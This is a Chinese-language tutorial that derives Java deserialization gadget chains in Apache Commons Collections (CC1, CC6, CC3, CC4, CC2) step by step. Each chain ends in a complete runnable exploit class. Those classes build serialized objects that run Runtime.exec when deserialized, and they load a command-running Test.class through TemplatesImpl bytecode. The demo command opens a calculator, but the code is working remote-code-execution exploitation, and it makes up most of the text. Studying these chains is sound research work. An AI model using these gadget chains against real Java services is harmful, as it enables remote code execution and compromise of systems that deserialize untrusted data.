Commons Collections利用链
Commons Collections
背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Collections的包结构和简单介绍:
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
反序列化利用原理
CC1利用链
关键类
为了理解 CC1
反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。
在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。
其中有众多类实现了此接口,CC1 中主要利用到了以下三个。
-
InvokerTransformer
其 transform 方法实现了通过反射来调用某方法,可以看到transform方法,接收input对象,然后反射调用,参数全是可以控制的,这个方法特别像是一个后门的写法:
-
ConstantTransformer
其 transform 方法将输入原封不动的返回:
-
ChainedTransformer
其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:
利用链 TransformedMap
调用过程
完整的调用过程链如下
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
TransformedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
首先改写调用exec方法
//正常写法
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
//改成反射调用
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getDeclaredMethod("exec", String.class);
exec.invoke(r,"open /System/Applications/Calculator.app");
然后改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
然后跟进到transform
方法中找看谁调用了transform,可以选择Find Usages进行查找
这里我们可以看到有21个调用,这里最后我们找到Map类,找到LazyMap和TransformedMap都直接调用了transform,先尝试TransformedMap
首先看TransformedMap,valueTransformer调用了transform
然后查看valueTransformer构造函数,由于是由protected修饰的,只能自己调用自己,看谁调用了
找到个静态方法decorate直接调用了TransformedMap,这里就可以直接创建个TransformedMap
因为是要调用valueTransformer的transform,所以只需要给valueTransformer赋值就行
//Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//Class<Runtime> c = Runtime.class;
//Method execMethod = c.getMethod("exec", String.class);
//execMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//invokerTransformer.transform(value)
TransformedMap.decorate(map,null,invokerTransformer);
然后继续向下找,看谁调用了checkSetValue,发现在MapEntry类,里面调用了setValue然后调用checkSetValue
Entry是一个静态内部类
map遍历时可以使用Entr
这里实际上就是重写了Entry里的setValue
MapEntry继承了AbstractMapEntryDecorator
然后AbstractMapEntryDecorator继承了Map.Entry
所以只要遍历TransformedMap,调用setValue,就会走到MapEntry的setValue里的setValue
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(value)
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
调用成功
然后继续向下找,看谁调用了setValue,最后是找到AnnotationlnvocationHandler类里的readObject调用了setValue
这里遍历memberValues的值,然后调用了setValue方法
然后在构造函数的参数中可以得知memberValues是可控的,可以放我们想放的值
但是因为类没写是public的,那在Java里面这就是default类型的,也就是说只有在包底下才能访问到,不能直接获取,这样的话那我们就必须用反射去获取
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
由于Runtime r = Runtime.getRuntime();
不能反序列化,必须写成能序列化的形式
-
正常反射写法
Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime", null); Runtime r = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r, "calc");
-
改写成InvokerTransformer的形式
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
-
然后在之前了解到的一个关键的类ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行简写
Transformer[] transformers=new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
然后这就能得出代码
Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
但是执行不成功,经调试可以发现这其中还存在两个问题:
-
首先
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取传进来注解中的成员方法
然后Map.Entry<String, Object> memberValue : memberValues.entrySet()
获取到的是我们传进来的Map对象的键值对
之后的name获取到的是传进来Map对象的key,然后在memberTypes中查找是否存在这个key
因为我们传进来的注解Override
本来就没有成员方法
所以也就必然是找不到的,那我们接下来只要找到一个注解有成员方法,然后把map中的key改成成员方法名
可以看到Target注解有值,我们传入Target,并且把key改为value
然后可以看到memberType就已经不为空了,然后也就可以执行到if里面了
-
然后继续往下面走,可以看到这个
memberValue.setValue
就是我们想要的,但是value的值没法修改这时候就要用到剩下的那个关键的类ConstantTransformer,这里的transform方法,不管接收什么值,都值返回固定的值,那么我们就可以最后调用ConstantTransformer的transform方法即可
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), };
完整利用代码
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
利用链 LazyMap
调用过程
完整的调用过程链如下
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
其实LazyMap这一条利用链的后半部分和TransformedMap利用链的是一样的,只是把前面调用transform的TransformedMap换成LazyMap
然后向上找看谁调用了get方法,在AnnotationInvocationHandler中的invoke方法中找到可以利用的get方法,然后调用invoke必须要把它放到一个动态代理里面
在自己这里面就直接放一个map就行了,这里就放LazyMap就行了,LazyMap中有两个decorate方法,我们这里调用传Transformer的这个方法就行了
然后动态代理的写法是一样的
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
完整利用代码
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
CC6利用链
关键类
TiedMapEntry
在TiedMapEntry中的hashCode()
函数中的getValue()
方法中调用了get()
方法,然后我们map用LazyMap就行了,剩下后半部分的就个CC1的LazyMap利用链是一样了
调用过程
完整的调用过程链如下
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
因为TiedMapEntry是一个public的类所以可以直接new出来,直接传map进去,然后key就先随便填
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
然后就new一个HashMap把他放进去
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
但是会发现这个在序列化的过程中就会触发,因为在put方法中也调用了hash
所以我们这需要像URLDNS利用链通过反射改其中的值,我们可以先把LazyMap中改为空,然后在put之后再改回来
这样序列化的时候就没有触发了,但是在反序列化的时候也没触发了,这个其实和之前URLDNS利用链
是一样原理的,在put的时候就把hash给消耗掉了
在这里之前是没有key的,但是执行完transform之后就把key放进去了,那我们只要把key去掉也就行了
lazyMap.remove("aaa");
完整利用代码
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
//serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
CC3利用链
优点
如果说只过滤Runtime的话可以换一种方式执行
利用链 InvokerTransformer
调用过程
与之前CC1和CC6的利用链不同的是:
CC1和CC6用的是直接命令调用,CC2、CC3、CC4是通过动态类加载的方式来执行一些自己定制的代码
动态类加载是在defineClass通过字节码的方式进行的类的加载
但是只做类加载的话是不会执行代码的,所以我们还需要一个 初始化的地方,defineClass是一个protected的,所以我们调用他的话需要找到一个重写他然后是public的地方,然后是找到com.sun.org.apache.xalan.internal.xsltc.trax
包下存在一个没有标作用域的(default)
然后查看这个的调用,可以看到这里是自己的defineTransletClasses
函数里面进行了调用,但是这是一个private的
然后继续找,找到getTransletInstance方法,这里面调用了newInstance,这是初始化的过程
然后继续找这个getTransletInstance的调用,然后找到TemplatesImpl类中的newTransformer这个函数,这是public的
TemplatesImpl这个类继承继承了Serializable,也就是说可以序列化,那么这里面的所有的变量都是可以控制的
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
这样的话执行的逻辑就基本上走完了,但是里面还有很多的值没有赋,那么就跟进一下看要赋那些值
这里的话不赋值应该也是可以直接进入getTransletInstance函数的,所以我们直接跟进函数里面
结合无参构造函数来看,什么也没干,所以我们是要自己赋值的,首先,因为if (_name == null) return null;
,所以_name
是需要赋值的,然后因为if (_class == null) defineTransletClasses();
,而且我们就是要进入defineTransletClasses,所以_class
不能赋值,然后进入defineTransletClasses
因为
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
如果_bytecodes
为空的话就直接抛异常了,所以_bytecodes
我们是需要赋值的,然后return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
这里是要_tfactory
是要掉方法的,所以这里我们也需要赋值
_name赋值
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
通过反射调用直接赋值
_bytecodes赋值
首先看这应该赋一个什么样的值
这里可以看出这是一个二维数组,但是类加载的时候实际上传的是一个一维的数组,查看调用可以得知,这里通过了一个for循环将其中每一个进行调用
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Test.class
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
_tfactory赋值
_tfactory被标记为transient,也就是说不可以序列化的,所以我们现在给他赋值是没有意义的,反序列的时候也是传不进去的
我们先随便给他传一个值,看看效果
这里报了一个空指针异常,这里我们跟进去断点调试一下
_bytecodes这里不是null,我们赋了值
_tfactory这里也不是null,我们赋了值
然后其实类加载也已经成功加载进来了,继续向下调试
最终发现在这个地方_auxClasses为空,这里报了空指针异常,这里我们让他进入到if中
Test.java改写成
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里我们就调用成功了,然后接下来的调用就如同CC1中一样
ransformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
之后的部分也都的不用改,可以直接用CC1的
完整利用代码
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
利用链 TrAXFilter
在之前InvokerTransformer链的基础上,在找到newTransformer之后再找,找到TrAXFilter类,在这个类我们可以看到他的构造函数直接传了一个Templates进去,然后直接调用他的newTransformer,也就是说我们可以调用他的构造函数的话,我们也可以成功的执行代码
关键类
InstantiateTransformer
这就是一个调用构造函数的类
调用过程
将CC3的InvokerTransformer调用链中的
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
替换成
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
完整利用代码
public class CC3_TrAXFilter {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
CC4利用链
调用过程
CC4是commons collections4里面的问题,但是和之前基本上没太大的变化,最后的执行代码还是反射调用执行和类加载执行这两种,只是中间的调用链发生点改变
因为问题还是在commons collections里面,我们继续从transform的调用入手,最后我们找到TransformingComparator类,一方面他调用了transform方法,另一方面,它可以序列化,然后它是一个比较常见的方法
在compare(比较器)中进行的调用
然后了解到在PriorityQueue(优先队列)中的readObject在最终的siftDownUsingComparator函数对compare进行了调用
后半部分的调用是一样
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
然后就是怎么执行到这里面了
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
但是执行之后无事发生,在PriorityQueue的readObject函数中的heapify方法处下一个断点调试查看问题
然后进入函数,可以看到size为0,而且size >>> 1 ---->0
,所以就直接没进入if中的函数
给队列中添加两个值
priorityQueue.add(1);
priorityQueue.add(2);
执行报错
这其实是我们之前老问题,_tfactory在反序列化的时候才会加进来,本地执行的时候并没有进行反序列化,所以报错
Field tfactoryField = tc.getDeclaredField(" ");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
加进来之后就不会报错了,成功弹出计算器
但是我们本意也不是让他在本地执行,所以我们就先将他绕过(先传一个没有意义的值,然后再改回来)
完整利用代码
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
//Field tfactoryField = tc.getDeclaredField("_tfactory");
//tfactoryField.setAccessible(true);
//tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
代码执行效果如下
CC2利用链
CC2也是commons collections4里面的问题,CC2和CC4之前其实区别不大,之前的入口点和最后执行代码的地方也没有改,CC2是生成TemplatesImpl之后直接调newTransformer执行代码,不走中间实例化的过程
完整利用代码
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}